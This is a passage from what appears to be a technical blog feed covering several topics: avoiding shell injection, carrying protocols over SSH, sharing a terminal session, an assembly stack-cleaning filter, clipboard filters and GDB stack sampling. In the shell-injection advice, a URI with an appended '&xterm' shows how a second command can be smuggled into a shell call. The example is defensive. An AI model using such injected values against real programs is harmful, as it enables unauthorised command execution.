in C (POSIX);os.spawnl()
or subprocess.run()
in Python;system*
in Scheme;system(\"command\", arg)
in Ruby (instead of system(\"command \" + arg)
);system \"command\", $arg
in Perl (instead of system \"command \" . $arg
);For example, the previous example could be rewritten as:
\nos.spawnvp(os.P_WAIT, browser, [browser, url])\n
\nSome of the shell metacharacters (&
, ;
, etc.) can be present in valid URIs\n(eg. http://www.example.com/&xterm
)\nso even a proper URI validation does not protect against those attacks.
A comparison of the different solutions for using SSH2 as a secured\ntransport for protocols/services/applications.
\nThe SSH-2 protocol uses its\nTransport Layer Protocol to provide\nencryption, confidentiality, server authentication and integrity over a\n(potentially) unsafe reliable bidirectional data stream (usually TCP port 22):
\nThe transport layer transports SSH packets.\nIt handles:
\nEach packet starts with a message number and can belong to:
\nTypical protocol stack (assuming TCP/IP):
\n\n [Session | Forwarding]\n[SSH Authn. |SSH Connection ]\n[SSH Transport ]\n[TCP ]\n[IP ]\n\n
The Connection Protocol is used\nto manage channels\nand transfers data over them. Each channel is (roughly) a bidirectionnal\ndata stream:
\nSSH_MSG_CHANNEL_EXTENDED_DATA
) in addition of the main data stream\n(SSH_MSG_CHANNEL_DATA
) [4];SSH_MSG_CHANNEL_OPEN
)\nwhich may be accepted (SSH_MSG_CHANNEL_OPEN_CONFIRMATION
)\nor rejected (SSH_MSG_CHANNEL_OPEN_FAILURE
) by the other side;SSH_MSG_CHANNEL_EOF
);Multiple channels can be multiplexed over the same SSH connection:
\n\nC \u2192 S SSH CHANNEL_DATA(1, \"whoami\\n\")\nC \u2192 S SSH CHANNEL_DATA(2, \"GET / HTTP/1.1\\r\\nHost: foo.example.com\\r\\n\\r\\n\")\nC \u2190 S SSH CHANNEL_DATA(5, \"root\\n\")\nC \u2190 S SSH CHANNEL_DATA(6, \"HTTP/1.1 200 OK\\r\\nContent-Type:text/plain\\r\\n\")\nC \u2190 S SSH CHANNEL_DATA(6, \"Content-Length: 11\\r\\n\\r\\nHello World!\")\n\n
A session
channel is used to start:
SSH_MSG_CHANNEL_REQUEST(chan, \"shell\", \u2026)
;SSH_MSG_CHANNEL_REQUEST(chan, \"exec\", \u2026, command)
) which is\nusually passed to the user shell;SSH_MSG_CHANNEL_REQUEST(chan, \"subsystem\", \u2026, subsystem_name)
).For session channels, the protocol has support for setting environment variables,\nallocating a server-side TTY, enabling X11 forwarding, notifying of the terminal\nsize modification (see SIGWINCH
), sending signals, reporting the exit\nstatus or exit signal.
\nC \u2192 S SSH CHANNEL_OPEN(\"session\", 2, \u2026)\nC \u2190 S SSH CHANNEL_OPEN_CONFIRMATION(3, 6)\nC \u2192 S SSH CHANNEL_REQUEST(6, \"pty-req\", TRUE, \"xterm\", 80, 120, \u2026)\nC \u2190 S SSH CHANNEL_SUCCESS(3)\nC \u2192 S SSH CHANNEL_REQUEST(6, \"env\", TRUE, \"LANG\", \"fr_FR.utf8\")\nC \u2190 S SSH CHANNEL_SUCCESS(3)\nC \u2192 S SSH CHANNEL_REQUEST(6, \"exec\", TRUE, \"ls /usr/\")\nC \u2190 S SSH CHANNEL_SUCCESS(3)\nC \u2190 S SSH CHANNEL_DATA(3, \"bin\\ngames\\ninclude\\nlib\\nlocal\\sbin\\nshare\\nsrc\\n\")\nC \u2190 S SSH CHANNEL_EOF(3)\nC \u2190 S SSH CHANNEL_REQUEST(3, \"exit-status\", FALSE, 0)\nC \u2190 S SSH CHANNEL_CLOSE(3)\nC \u2192 S SSH CHANNEL_CLOSE(6)\n\n
Shell session channels are used for interactive session are not really\nuseful for protocol encapsulation.
\nIn SSH, a command is a single string.\nThis is not an array of strings (argv
).\nOn a UNIX-ish system, the command is usually expected to be called by the user's\nshell (\"$SHELL\" -c \"$command\"
): variable expansions, globbing are applied\nby the server-side shell.
ssh foo.example.com 'ls *'\nssh foo.example.com 'echo $LANG'\nssh foo.example.com 'while true; do uptime ; sleep 60 ; done'\n
\nA subsystem is a \u201cwell-known\u201d service running on top of SSH. It is\nidentified by a string which makes it system independent: it does not\ndepend on the user/system shell, environment (PATH
), etc.
With the OpenSSH client, a subsystem can be invoked with\nssh -S $subsystem_name
.
Subsystem names come in\ntwo forms:
\nservice_name@domain
;Well-known subsystem names include:
\nsftp
is used to connect a local SFTP client to a remote SFTP\nserver[5];publickey
is used for the\nSSH Public Key Substem which\ncan be used by clients to manage their SSH public keys;snmp
is used for\nSNMP over SSH;netconf
for\nNETCONF over SSH;rpki-rtr
for\nRPKI-Router over SSH.When using a subsystem:
\nWith the OpenSSH server, a command can be associated with a given\nsubsystem name with a configuration entry such as:
\nSubsystem sftp /usr/lib/openssh/sftp-server\n
\nThe command is run under the identity of the user with its own shell\n(\"$SHELL\" -c \"$command\"
).
If you want to connect to a socket you might use:
\nSubsystem http socat STDIO TCP:localhost:80\nSubsystem hello@example.com socat STDIO UNIX:/var/run/hello\n
\nIt is possible to use exec
to avoid keeping a shell process[6]:
Subsystem http exec socat STDIO TCP:localhost:80\nSubsystem hello@example.com exec socat STDIO UNIX:/var/run/hello\n
\nThis works but OpenSSH complains because it checks for the existence of\nan exec
executable file.
The SSH has support for forwarding (either incoming or outgoing)\nTCP connections.
\nLocal forwarding is used to forward a local connection (or any\nother local stream) to a remote TCP endpoint. A channel of type\ndirect-tcpip
is opened to initiate a TCP connection on the remote\nside. This is used by ssh -L
, ssh -W
and ssh -D
\nC \u2192 S SSH CHANNEL_OPEN(\"direct-tcpip\", chan, \u2026, \"foo.example.com\", 9000, \"\", 0);\nC \u2190 S SSH CHANNEL_OPEN_CONFIRMATION(chan, chan2, \u2026)\nC \u2192 S SSH CHANNEL_DATA(chan2, \"aaa\")\n\n
Remote forwarding is used to request to forward all incoming\nconnections on a remote port over the SSH connection. The remote side\nthen opens a new forwarded-tcpip
channel for each connection. This\nis used by ssh -R
.
\nC \u2192 S SSH GLOBAL_REQUEST(\"tcpip-forward\", remote_addr, remote_port)\nC \u2190 S SSH REQUEST_SUCCESS(remote_port)\n S \u2190 X Incoming connection\nC \u2190 S SSH CHANNEL_OPEN(\"forwarded-tcpip\", chan, \u2026, address, port, peer_address, peer_port)\nC \u2192 S SSH CHANNEL_OPEN_CONFIRMATION(chan, chan2, \u2026)\n S \u2190 X TCP Payload \"aaa\"\nS \u2190 X SSH CHANNEL_DATA(chan2, \"aaa\")\n\n
Since OpenSSH 6.7, it is\npossible to involve (either local or remote) UNIX sockets in forwards\n(ssh -L
, ssh -R
, ssh -W
):
When the UNIX socket is on the client-side,\nclient support is needed but server-side support is not needed.
\nWhen the UNIX socket is on the server-side, both client\nand server support is needed. This is using an (OpenSSH) protocol extension\nwhich works similarly to the TCP/IP forwarding:
\nSSH_MSG_CHANNEL_OPEN(\"direct-streamlocal@openssh.com\", \u2026, path)
\nfor initiating a connection to a remote UNIX stream socket (local\nforwarding);SSH2_MSG_GLOBAL_REQUEST(\"streamlocal-forward@openssh.com\", TRUE, path)
is used to request a remote forwarding and each new\nconnection opens a channel with\nSSH_MSG_CHANNEL_OPEN(\"forwarded-streamlocal@openssh.com\", \u2026, path, \u2026)
.As an extension, OpenSSH has support for tunnel forwarding. A tunnel\ncan be either Ethernet-based (TUN devices) or IP based (TAP devices).\nAs channels do not preserve message boundaries, a header is prepended\nto each message (Ethernet frame or IP packet respectively): this\nheader contains the message length\n(and for IP based tunnels, the address family i.e. IPv4 or IPv6).
\nThis is used by ssh -w
.
Messages for an IP tunnel:
\n\nC \u2192 S SSH CHANNEL_OPEN(\"tun@openssh.com\", chan, \u2026, POINTOPOINT, \u2026)\nC \u2190 S SSH CHANNEL_OPEN_CONFIRMATION(chan, chan2)\nC \u2192 S SSH CHANNEL_DATA(chan2, encapsulation + ip_packet)\n\n
and the packets use the form:
\n4B packet length\n4B address family (SSH_TUN_AF_INET or SSH_TUN_AF_INET6)\nvar data\n
\nMessages for an Ethernet tunnel:
\n\nC \u2192 S SSH CHANNEL_OPEN(\"tun@openssh.com\", chan, \u2026, ETHERNET, \u2026)\nC \u2190 S SSH CHANNEL_OPEN_CONFIRMATION(chan, chan2)\nC \u2192 S SSH CHANNEL_DATA(chan2, encapsulation + ethernet_frame)\n\n
and the packets use the form:
\n4B packet length\nvar data\n
\nThe x11
channel type is used for\nX11 forwarding.
scp
uses SSH to spawn a remote-side scp
process. This remote scp
\nprocess communicates with the local instance using its stdin
and\nstdout
.
When the local scp
sends data, it spawns:
scp -t /some_path/\n
\nWhen the local scp
receives data, it spawns:
scp -f /some_path/some_file\n
\nrsync can work over SSH. In this mode of operation, it uses SSH to\nspawn a server rsync process which communicates with its stdin
and\nstdout
.
The local rsync
spawns something like in the remote side:
rsync --server -e.Lsfx . /some_path/\n
\nSFTP is a file transfer protocol.\nIt is expected to to work on top of SSH\nusing the sftp
subsystem. However it can work on top of other streams\n(see sftp -S $program
and sftp -D $program
).
This is not FTP running over SSH.
\nFISH\n(Files transferred over Shell)\nis another solution for file system operation over a\nremote shell (such as rsh
or ssh
): it uses exec
sessions to\nexecute standard UNIX commands on the remote side in order to do the\noperations. This first approach will not work if the remote side is\nnot a UNIXish system: in order to have support for non UNIX, it\nencodes the same requests as special comments at the beginning of the\ncommand.
Git spawns a remote git-upload-pack /some_repo/
which communicates\nwith the local instance using its standard I/O.
Many systemd *ctl
tools (hostnamectl
, busctl
, localectl
,\ntimedatectl
, loginctl
, systemctl
) have builtin support for\nconnecting to a remote host. They use a ssh -xT $user@$host
\nsystemd-stdio-bridge. This\ntool connects to the D-Bus\nsystem bus\n(i.e. ${DBUS_SYSTEM_BUS_ADDRESS:-/var/run/dbus/system_bus_socket}
).
Program | \nSolution | \n
---|---|
scp | \nCommand (scp ) | \n
rsync | \nCommand (rsync ) | \n
sftp | \nSubsystem (sftp ) | \n
FISH | \nCommands / special comments | \n
git | \nCommand (git-upload-pack ) | \n
systemd | \nCommand (systemd-stdio-bridge ) | \n
Which solution should be used to export your own\nprotocol over SSH? The shell, X11 forwarding and TUN/TAP forwarding\nare not really relevant in this context so we are left with:
\nUsing a dedicated subsystem is the cleaner solution.\nThe subsystem feature of SSH has been designed for this kind of application:\nit is supposed to hide implementation details such as the shell,\nPATH
, whether the service is exposed as a socket or a command,\nwhat is the location of the socket,\nwhether socat
is installed on the system, etc.\nHowever with OpenSSH, installing a new subsystem is done by adding a new entry\nin the /etc/ssh/sshd_config
file which is not so convenient for packaging\nand not necessarily ideal for configuration management.\nAn Include
directive has been included for ssh_config
\n(client configuration) in OpenSSH 7.3: the same directive for sshd_config
\nwould probably be useful in this context.\nIn practice, the subsystem feature seems to be mostly used by sftp
.
Using a command is the simpler solution: the only requirement is to\nadd a suitable executable, preferably in the PATH
. Moreover, the\nuser can add their own commands (or override the system ones) for their\nown purpose by adding executables in its own PATH
.
These two solutions have a few extra features which are not really\nnecessary when used as a pure stream transport protocol but might be\nhandy:
\nAccept-Language
) for free with LANG
, and\nLC_*
;stderr
which is not really useful\nfor encapsulating protocols.The two forwarding solutions have fewer features which are more in\nline with what is expected of a stream transport but:
\nmyservice@example.com
for custom non-standard protocols.The command and subsystem solutions run code with the user's identity\nand will by default run with the user permissions. The setuid
and\nsetgid
bits might be used if this is not suitable.
Another solution is to use socat
or netcat to connect to a socket and get\nthe same behavior as socket forwarding (security-wise).
For Unix socket forwarding, OpenSSH uses the user identity to connect\nto the socket. The daemon can use SO_PEERCRED
(on Linux, OpenBSD),\ngetpeereid()
\n(on BSD),\ngetpeerucred()
\n(Solaris) to get the user UID, GID in order to avoid a second\nauthentication. On Linux, file-system permissions can be used to\nrestrict the access to the socket as well.
For TCP socket forwarding, OpenSSH uses the user identity to connect to\nthe socket and ident
(on localhost) might be used in order to get\nthe user identity but this solution is not very pretty.
I kind-of like the subsystem feature even if it is not used that much.
\nThe addition of an Include
directive in sshd_config
might help deploying\nsuch services. Another interesting feature would be an option to associate a\nsubsystem with a Unix socket (without having to rely on socat
).
The random padding is used to make the whole Binary Packet Protocol message\na multiple of the cipher block size (or 8 if the block size is smaller). \u21a9\ufe0e
\nThe receiver uses the\nSSH_MSG_CHANNEL_WINDOW_ADJUST
\nmessage to request more data. \u21a9\ufe0e
Each channel is associated with two integer IDs, one for each side\nof the connection. \u21a9\ufe0e
\nThis is used to transport both stdout
(SSH_MSG_CHANNEL_DATA(channel, data)
)\nand stderr
(SSH_MSG_CHANNEL_EXTENDED_DATA(channel, SSH_EXTENDED_DATA_STDERR, data)
)\nover the same session channel. \u21a9\ufe0e
It is currently not yet registered but it is described in the SFTP\ndrafts\nand widely deployed. \u21a9\ufe0e
\nbash
already does an implicit exec
when bash -c \"$a_single_command\"
is used. \u21a9\ufe0e
Live sharing a terminal session to another (shared) host over SSH in\nread-only mode.
\nUpdate: 2017-05-06 add broadcastting over the web with\nnode-webterm
#!/bin/sh\n\nhost=\"$1\"\n\nfile=script.log\ntouch \"$file\"\ntail -f $file | ssh $host 'cat > script.log' &\nscript -f \"$file\"\nkill %1\nssh $host \"rm $file\"\nrm \"$file\"\n
\nscreen
screen
can save the content of the screen session on a file. This is\nenabled with the following screen
commands:
logfile screen.log\nlogfile flush 0\nlog on\n
\nThe logfile flush 0
command removes the buffering delay in screen
\nin order to reduce the latency.
We can watch the session locally (from another terminal) with:
\ntail -f screen.log\n
\nThis might produce some garbage if the original and target terminals are not\ncompatible (echo $TERM
is different) or if the terminal sizes are different:
screen
;xterm -geometry 90x40
, xfce4-terminal --geometry 90x40
, etc.).Instead of watching it locally, we want to send the content to another (shared)\nhost over SSH:
\ntail -f screen.log | ssh $server 'cat > /tmp/logfile'\n
\nOther users can now watch the session on the remote host with:
\ntail -f screen.log\n
\nxterm
You can create a log file from xterm
:
xterm -l -lf xterm.log\n
\nThe rest of the technique applies the same.
\nBest viewed from a xterm
-compatible terminal.
script
script
can be used to create a log file as well:
script -f script.log\n
\nThe downside is that a log file is created on both the local and server-side.\nThis file might grow (especially if you broadcast\nnyancat
\ud83d\ude3a for a long time)\nand might need to be cleaned up afterwards.
A FIFO might be used instead of a log file with some programs. It\nworks with screen
and script
but not with xterm
. However, I\nexperienced quite a few broken pipes (and associated brokeness) when\ntrying to use this method. Moreover, using a FIFO can probably stall\nsome terminals if the consumer does not consume the data fast enough.
In order to avoid the remote log file, a solution is to setup a terminal\nbroadcast service. A local terminal broadcast service can be set up with:
\nsocat UNIX-LISTEN:script.socket,fork SYSTEM:'tail -f script.log'\n
\nAnd we can watch it with:
\nsocat STDIO UNIX-CONNECT:script.socket\n
\nWe can expose this service to a remote host over SSH:
\nssh $server -R script.socket:script.socket -N\n
\nThe downside of this approach is that the content is transfered over\nSSH once per viewer instead of only once.
\nnode-webterm
can be used to\nbroadcast the log over HTTP:
{\n\t\"login\": \"tail -f script.log\",\n\t\"port\": 3000,\n\t\"interface\": \"127.0.0.1\",\n\t\"input\": true\n}\n
\nThis displays the terminal in the browser using\nterminal.js
, a JavaScript\nxterm
-compatible terminal emulator (executing client-side).\nThe default terminal size is the same as the default xterm
size.\nIt can be configured in index.html
.
In order to help the SimGridMC state comparison code, I wrote a\nproof-of-concept LLVM pass which cleans each stack\nframe before using\nit. However, SimGridMC currently does not work properly when compiled\nwith clang/LLVM. We can do the same thing by pre-processing the\nassembly generated by the compiler before passing it to the linker:\nthis is done by inserting a script between the compiler and the\nassembler. This script will rewrite the generated assembly by\nprepending stack-cleaning code at the beginning of each function.
\nIn typical compilation process, the compiler (here cc1
) reads the\ninput source file and generates assembly. This assembly is then passed\nto the assembler (as
) which generates native binary code:
cat foo.c | cc1 | as > foo.o\n# \u2191 \u2191 \u2191\n# Source Assembly Native\n
\nWe can achieve our goal without depending of LLVM by adding a simple\nassembly-rewriting script to this pipeline between the the compiler\nand the assembler:
\ncat foo.c | cc1 | clean-stack-filter | as > foo.o\n# \u2191 \u2191 \u2191 \u2191\n# Source Assembly Assembly Native\n
\nBy doing this, our modification can be used for any compiler as long\nas it sends assembly to an external assembler instead of generating\nthe native binary code directly.
\nThis will be done in three components:
\nclean-stack-filter
);as
) wrapper which calls the assembly rewriting\nscript before delegating to the real assembler;cc
) which calls the real compiler program and\nconfigure it in order to call our assembler wrapper.The first step is to write a simple UNIX program taking in input the\nassembly code of a source file and adding in output a stack-cleaning\npre-prolog.
\nHere is the generated assembly for the test function of the previous\nepisode (compiled with GCC):
\nmain:\n.LFB0:\n\t.cfi_startproc\n\tsubq\t$40, %rsp\n\t.cfi_def_cfa_offset 48\n\tmovl\t%edi, 12(%rsp)\n\tmovq\t%rsi, (%rsp)\n\tmovl\t$42, 28(%rsp)\n\tmovl\t$0, %eax\n\tcall\tf\n\tmovl\t$0, %eax\n\taddq\t$40, %rsp\n\t.cfi_def_cfa_offset 8\n\tret\n\t.cfi_endproc\n
\nWe can use .cfi_startproc
to find the beginning of a function and\neach pushq
and subq $x, %rsp
instruction to estimate the stack\nsize used by this function (excluding the red zone and alloca()
as\npreviously). Each time we are seeing the beginning of a function we\nneed to buffer each line until we are ready to emit the stack-cleaning\ncode.
#!/usr/bin/perl -w\n# Transform assembly in order to clean each stack frame for X86_64.\n\nuse strict;\n$SIG{__WARN__} = sub { die @_ };\n\n# Whether we are still scanning the content of a function:\nour $scanproc = 0;\n\n# Save lines of the function:\nour $lines = \"\";\n\n# Size of the stack for this function:\nour $size = 0;\n\n# Counter for assigning unique ids to labels:\nour $id=0;\n\nsub emit_code {\n my $qsize = $size / 8;\n my $offset = - $size - 8;\n\n if($size != 0) {\n print(\"\\tmovabsq \\$$qsize, %r11\\n\");\n print(\".Lstack_cleaner_loop$id:\\n\");\n print(\"\\tmovq \\$0, $offset(%rsp,%r11,8)\\n\");\n print(\"\\tsubq \\$1, %r11\\n\");\n print(\"\\tjne .Lstack_cleaner_loop$id\\n\");\n }\n\n print $lines;\n\n $id = $id + 1;\n $size = 0;\n $lines = \"\";\n $scanproc = 0;\n}\n\nwhile (<>) {\n if ($scanproc) {\n $lines = $lines . $_;\n if (m/^[ \\t]*.cfi_endproc$/) {\n\t emit_code();\n } elsif (m/^[ \\t]*pushq/) {\n\t $size += 8;\n } elsif (m/^[ \\t]*subq[\\t *]\\$([0-9]*),[ \\t]*%rsp$/) {\n my $val = $1;\n $val = oct($val) if $val =~ /^0/;\n $size += $val;\n emit_code();\n }\n } elsif (m/^[ \\t]*.cfi_startproc$/) {\n print $_;\n\n $scanproc = 1;\n } else {\n print $_;\n }\n}\n
\nThis is used as:
\n# Use either of:\nclean-stack-filter < helloworld.s\ngcc -o- -S hellworld.c | clean-stack-filter | gcc -x assembler -r -o helloworld\n
\nAnd this produces:
\nmain:\n.LFB0:\n\t.cfi_startproc\n\tmovabsq $5, %r11\n.Lstack_cleaner_loop0:\n\tmovq $0, -48(%rsp,%r11,8)\n\tsubq $1, %r11\n\tjne .Lstack_cleaner_loop0\n\tsubq\t$40, %rsp\n\t.cfi_def_cfa_offset 48\n\tmovl\t%edi, 12(%rsp)\n\tmovq\t%rsi, (%rsp)\n\tmovl\t$42, 28(%rsp)\n\tmovl\t$0, %eax\n\tcall\tf\n\tmovl\t$0, %eax\n\taddq\t$40, %rsp\n\t.cfi_def_cfa_offset 8\n\tret\n\t.cfi_endproc\n
\nA second step is to write an extended assembler as
program which\naccepts an extra argument --filter my_shell_command
. We could\nhardcode the filtering script in this wrapper but a generic assembler\nwrapper might be reused somewhere else.
We need to:
\ninterpret a part of the as
command-line arguments and our extra\nargument;
apply the specified filter on the input assembly;
\npass the resulting assembly to the real assembler.
\n#!/usr/bin/ruby\n# Wrapper around the real `as` which adds filtering capabilities.\n\nrequire \"tempfile\"\nrequire \"fileutils\"\n\ndef wrapped_as(argv)\n\n args=[]\n input=nil\n as=\"as\"\n filter=\"cat\"\n\n i = 0\n while i<argv.size\n case argv[i]\n \n when \"--as\"\n as = argv[i+1]\n i = i + 1\n when \"--filter\"\n filter = argv[i+1]\n i = i + 1\n\n when \"-o\", \"-I\"\n args.push(argv[i])\n args.push(argv[i+1])\n i = i + 1\n when /^-/\n args.push(argv[i])\n else\n if input\n exit 1\n else\n input = argv[i]\n end\n end\n i = i + 1\n end\n\n if input==nil\n # We dont handle pipe yet:\n exit 1\n end\n\n # Generate temp file\n tempfile = Tempfile.new(\"as-filter\")\n unless system(filter, 0 => input, 1 => tempfile)\n status=$?.exitstatus\n FileUtils.rm tempfile\n exit status\n end\n args.push(tempfile.path)\n\n # Call the real assembler:\n res = system(as, *args)\n status = if res != nil\n $?.exitstatus\n else\n 1\n end\n FileUtils.rm tempfile\n exit status\n \nend\n\nwrapped_as(ARGV)\n
\nThis is used like this:
\ntools/as --filter \"sed s/world/abcde/\" helloworld.s\n
\nWe now can ask the compiler to use our assembler wrapper instead of\nthe real system assembler:
\n-B
switch prepend a directory to the list of directories used\nto find subprograms such as as
;-no-integrated-as
flag forces the compiler to pass\nthe generated assembly to an external assembler instead of\ngenerating native binary code directly.gcc -B tools/ -Wa,--filter,'sed s/world/abcde/' \\\n helloworld.c -o helloworld-modified-gcc\n
\nclang -no-integrated-as -B tools/ -Wa,--filter,'sed s/world/abcde/' \\\n helloworld.c -o helloworld-modified-clang\n
\nWhich produces:
\n$ ./helloworld\nHello world!\n$ ./helloworld-modified-gcc\nHello abcde!\n$ ./helloworld-modified-clang\nHello abcde!\n
\nBy combining the two tools, we can get a compiler with stack-cleaning enabled:
\ngcc -B tools/ -Wa,--filter,'stack-cleaning-filter' \\\n helloworld.c -o helloworld\n
\nNow we can write compiler wrappers which do this job automatically:
\n#!/bin/sh\npath=(dirname $0)\nexec gcc -B $path -Wa,--filter,\"$path\"/clean-stack-filter \"$@\"\n
\n#!/bin/sh\npath=(dirname $0)\nexec g++ -B $path -Wa,--filter,\"$path\"/clean-stack-filter \"$@\"\n
\nWarning
\nAs the assembly modification is implemented in as
,\nthis compiler wrapper will output the unmodified assembly when using\ncc -S
which be surprising. You need to objdump
the .o
file in\norder to see the effect of the filter.
The whole test suite of SimGrid with model-checking works with this\nimplementation. The next step is to see the impact of this\nmodification on the state comparison of SimGridMC.
\n"}, {"id": "http://www.gabriel.urdhr.fr/2014/09/25/filtering-the-clipboard/", "title": "Filtering the clipboard using UNIX filters", "url": "https://www.gabriel.urdhr.fr/2014/09/25/filtering-the-clipboard/", "date_published": "2014-09-25T00:00:00+02:00", "date_modified": "2014-09-25T00:00:00+02:00", "tags": ["computer", "x11", "unix", "cms", "html"], "content_html": "I had a few Joomla posts that I wanted to clean up semi-automatically.\nHere are a few scripts, to pass the content of the clipboard (or the\ncurrent selection) through a UNIX filter.
\nCleaning up the (HTML) content of the posts was quite time consuming\nand very repetitive:
\nstyle
attributes (hardcoded fonts, etc.);<p>
containing <br/>
in different <p>
s;<p>
s;Most of the job could be done by a script\n(cleanup_html
):
#!/usr/bin/env ruby\n# Remove some crap from HTMl snippets.\n\nrequire \"nokogiri\"\n\nif (ARGV[0])\n html = File.read(ARGV[0])\nelse\n html = $stdin.read\nend\ndoc = Nokogiri::HTML::DocumentFragment.parse html\n\n# Remove 'style':\ndoc.css(\"*[style]\").each do |node|\n style = node.attribute(\"style\")\n node.remove_attribute(\"style\")\n $stderr.puts \"Removed style: #{style}\\n\"\nend\n\n# Remove useless span:\ndoc.css(\"span\").each do |span|\n $stderr.puts \"Unwrapping span: #{span}\\n\"\n span.children.each do |x|\n span.before(x)\n end\n span.remove\nend\n\n# Split paragraphs on <br/>:\ndoc.css(\"p > br\").each do |br|\n p = br.parent\n\n # Clone\n new_p = p.document.create_element(\"p\")\n p.children.take_while{ |x| x!=br }.each do |x|\n new_p.add_child x\n end\n p.before(new_p)\n\n br.remove\nend\n\n# Remove empty paragraphs:\ndoc.css(\"p\").each do |node|\n if node.element_children.empty? && /\\A *\\z/.match(node.inner_text)\n node.remove\n end\nend\n\nprint doc.to_html\n
\nI wanted to do a semi-automatic update in order to have feedback on\nwhat was happening and fix the remaining issues straightaway. To do\nthis, the filter can be applied on the X11 clipboard:
\n#!/bin/sh\nxclip -out -selection clipboard | filter_html | xclip -in -selection clipboard\n
\nIt is even possible to do it on the current selection:
\n#!/bin/sh\nsleep 0.1\nxdotool key control+c\nsleep 0.1\nxclip -out -selection clipboard | filter_htm | xclip -in -selection clipboard\nxdotool key control+v\n
\nThis second script is quite hackish but it kind of works:
\nControl-c
and Control-v
for copy/paste;sleep
calls are needed.This can be generalized with this script (gui_filter
):
#!/bin/sh\n\nmode=\"$1\"\nshift\n\ncase \"$mode\" in\n primary | seconday | clipboard)\n xclip -out -selection \"$mode\" | command \"$@\" | xclip -in -selection \"$mode\"\n ;;\n selection)\n # This is an horrible hack.\n # It only works for C-c/C-v keybindings.\n sleep 0.1\n xdotool key control+c\n sleep 0.1\n xclip -out -selection clipboard | command \"$@\" | xclip -in -selection clipboard\n xdotool key control+v\n ;;\nesac\n
\nCalled with:
\n# Clean the HTMl markup in the clipboard:\ngui_filter clipboard html_filter\n\n# Base-64 encode the current selection:\ngui_filter selection base64\n\n# Base-64 decode the current selection:\ngui_filter selection base64 -d\n
\nNow we can bind this command to a temporary global hotkey with this\nscript based on the keybinder library:
\n#!/usr/bin/env python\n# Bind a global hotkey to a given command.\n# Examples:\n# keybinder '<Ctrl>e' gui_filter selection base64\n# keybinder '<Ctrl>X' xterm\n\nimport sys\nimport gi\nimport os\nimport signal\n\ngi.require_version('Keybinder', '3.0')\nfrom gi.repository import Keybinder\nfrom gi.repository import Gtk\n\ndef callback(x):\n os.spawnvp(os.P_NOWAIT, sys.argv[2], sys.argv[2:])\n\nsignal.signal(signal.SIGINT, signal.SIG_DFL)\nGtk.init()\nKeybinder.init()\nKeybinder.bind(sys.argv[1], callback);\nGtk.main()\n
\nThe kotkey is active as long as the keybinder
process is not killed.
keybinder '<Ctrl>e' gui_filter selection html_filter\nkeybinder '<Ctrl>e' gui_filter selection kramdown\nkeybinder '<Ctrl>e' gui_filter selection cowsay\nkeybinder '<Ctrl>e' gui_filter selection sort\n\n# More dangerous:\nkeybinder '<Ctrl>e' gui_filter clipboard bash\nkeybinder '<Ctrl>e' gui_filter clipboard ruby\nkeybinder '<Ctrl>e' gui_filter clipboard python\n
\nOn Emacs, the shell-command-on-region command (bound to\nM-|) can be used to pass the current selection to a given\ncommand: by default the output of the command will be pushed on the\nring buffer. Alternatively, C-u M-| can be used to replace\nthe selection.
\nThe ! command can be used to transform a given part of the\ncurrent buffer through a shell filter.
\nAtom can replace filter the current selection through a pipe\nwith the pipe
package.
Flamegraph\nis a software which generates SVG graphics\nto visualise stack-sampling based\nprofiles. It processes data collected with tools such as Linux perf,\nSystemTap, DTrace.
\nFor the impatient:
\nThe idea is that in order to know where your application is using CPU\ntime, you should sample its stack. You can get one sample of the\nstack(s) of a process with GDB:
\n# Sample the stack of the main (first) thread of a process:\ngdb -ex \"set pagination 0\" -ex \"bt\" -batch -p $(pidof okular)\n\n# Sample the stack of all threads of the process:\ngdb -ex \"set pagination 0\" -ex \"thread apply all bt\" -batch -p $(pidof okular)\n
\nThis generates backtraces such as:
\n\n[...]\nThread 2 (Thread 0x7f4d7bd56700 (LWP 15156)):\n#0 0x00007f4d9678b90d in poll () from /lib/x86_64-linux-gnu/libc.so.6\n#1 0x00007f4d93374fe4 in g_main_context_poll (priority=2147483647, n_fds=2, fds=0x7f4d70002e70, timeout=-1, context=0x7f4d700009a0) at /tmp/buildd/glib2.0-2.40.0/./glib/gmain.c:4028\n#2 g_main_context_iterate (context=context@entry=0x7f4d700009a0, block=block@entry=1, dispatch=dispatch@entry=1, self=\n) at /tmp/buildd/glib2.0-2.40.0/./glib/gmain.c:3729\n#3 0x00007f4d933750ec in g_main_context_iteration (context=0x7f4d700009a0, may_block=1) at /tmp/buildd/glib2.0-2.40.0/./glib/gmain.c:3795\n#4 0x00007f4d9718b676 in QEventDispatcherGlib::processEvents(QFlags<:processeventsflag>) () from /usr/lib/x86_64-linux-gnu/libQtCore.so.4\n#5 0x00007f4d9715cfef in QEventLoop::processEvents(QFlags<:processeventsflag>) () from /usr/lib/x86_64-linux-gnu/libQtCore.so.4\n#6 0x00007f4d9715d2e5 in QEventLoop::exec(QFlags<:processeventsflag>) () from /usr/lib/x86_64-linux-gnu/libQtCore.so.4\n#7 0x00007f4d97059bef in QThread::exec() () from /usr/lib/x86_64-linux-gnu/libQtCore.so.4\n#8 0x00007f4d9713e763 in ?? () from /usr/lib/x86_64-linux-gnu/libQtCore.so.4\n#9 0x00007f4d9705c2bf in ?? () from /usr/lib/x86_64-linux-gnu/libQtCore.so.4\n#10 0x00007f4d93855062 in start_thread () from /lib/x86_64-linux-gnu/libpthread.so.0\n#11 0x00007f4d96796c1d in clone () from /lib/x86_64-linux-gnu/libc.so.6\n\nThread 1 (Thread 0x7f4d997ab780 (LWP 15150)):\n#0 0x00007f4d9678b90d in poll () from /lib/x86_64-linux-gnu/libc.so.6\n#1 0x00007f4d93374fe4 in g_main_context_poll (priority=2147483647, n_fds=8, fds=0x2f8a940, timeout=1998, context=0x1c747e0) at /tmp/buildd/glib2.0-2.40.0/./glib/gmain.c:4028\n#2 g_main_context_iterate (context=context@entry=0x1c747e0, block=block@entry=1, dispatch=dispatch@entry=1, self= ) at /tmp/buildd/glib2.0-2.40.0/./glib/gmain.c:3729\n#3 0x00007f4d933750ec in g_main_context_iteration (context=0x1c747e0, may_block=1) at /tmp/buildd/glib2.0-2.40.0/./glib/gmain.c:3795\n#4 0x00007f4d9718b655 in QEventDispatcherGlib::processEvents(QFlags<:processeventsflag>) () from /usr/lib/x86_64-linux-gnu/libQtCore.so.4\n#5 0x00007f4d97c017c6 in ?? () from /usr/lib/x86_64-linux-gnu/libQtGui.so.4\n#6 0x00007f4d9715cfef in QEventLoop::processEvents(QFlags<:processeventsflag>) () from /usr/lib/x86_64-linux-gnu/libQtCore.so.4\n#7 0x00007f4d9715d2e5 in 